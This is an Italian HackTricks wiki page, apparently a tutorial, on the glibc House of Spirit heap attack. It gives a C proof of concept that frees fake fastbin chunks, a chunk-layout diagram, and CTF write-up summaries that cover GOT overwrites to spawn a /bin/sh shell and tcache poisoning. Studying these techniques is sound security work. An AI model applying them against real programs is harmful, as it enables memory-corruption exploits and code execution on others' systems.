House of Spirit
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di Base
Codice
House of Spirit
```c #include// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };
int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;
ptr = malloc(0x30);
printf(âOriginal alloc address: %p\nâ, ptr); printf(âMain fake chunk:%p\nâ, &fake_chunks[0]); printf(âSecond fake chunk for size: %p\nâ, &fake_chunks[1]);
// Passes size check of âfree(): invalid sizeâ fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes âfree(): invalid next size (fast)â fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be âfreedâ // Point to .fd as itâs the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;
free(ptr);
victim = malloc(0x30); printf(âVictim: %p\nâ, victim);
return 0; }
</details>
### Obiettivo
- Essere in grado di aggiungere in tcache / fast bin un indirizzo in modo che sia possibile allocarlo in seguito
### Requisiti
- Questo attacco richiede che un attaccante sia in grado di creare un paio di chunk fast falsi indicando correttamente il valore della dimensione e poi di essere in grado di liberare il primo chunk falso in modo che entri nel bin.
### Attacco
- Creare chunk falsi che bypassano i controlli di sicurezza: avrai bisogno di 2 chunk falsi che indicano fondamentalmente nelle posizioni corrette le dimensioni corrette
- In qualche modo gestire di liberare il primo chunk falso in modo che entri nel fast o tcache bin e poi venga allocato per sovrascrivere quell'indirizzo
**Il codice di** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **è ottimo per comprendere l'attacco.** Anche se questo schema del codice lo riassume abbastanza bene:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
Note
Nota che è necessario creare il secondo chunk per bypassare alcuni controlli di sanità .
Esempi
-
CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html
-
Libc infoleak: Tramite un overflow è possibile cambiare un puntatore per puntare a un indirizzo GOT al fine di rivelare un indirizzo libc tramite lâazione di lettura del CTF.
-
House of Spirit: Abusando di un contatore che conta il numero di âfuciliâ è possibile generare una dimensione falsa del primo chunk falso, poi abusando di un âmessaggioâ è possibile falsificare la seconda dimensione di un chunk e infine abusando di un overflow è possibile cambiare un puntatore che sta per essere liberato in modo che il nostro primo chunk falso venga liberato. Poi, possiamo allocarlo e allâinterno ci sarĂ lâindirizzo dove è memorizzato il âmessaggioâ. Poi, è possibile far sĂŹ che questo punti allâentry
scanfallâinterno della tabella GOT, cosĂŹ possiamo sovrascriverlo con lâindirizzo di system.
La prossima volta che viene chiamatoscanf, possiamo inviare lâinput"/bin/sh"e ottenere una shell. -
Glibc leak: Buffer di stack non inizializzato.
-
House of Spirit: Possiamo modificare il primo indice di un array globale di puntatori heap. Con una singola modifica di byte, usiamo
freesu un chunk falso allâinterno di un chunk valido, in modo da ottenere una situazione di chunk sovrapposti dopo aver allocato di nuovo. Con ciò, un semplice attacco di avvelenamento Tcache funziona per ottenere una scrittura arbitraria.
Riferimenti
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

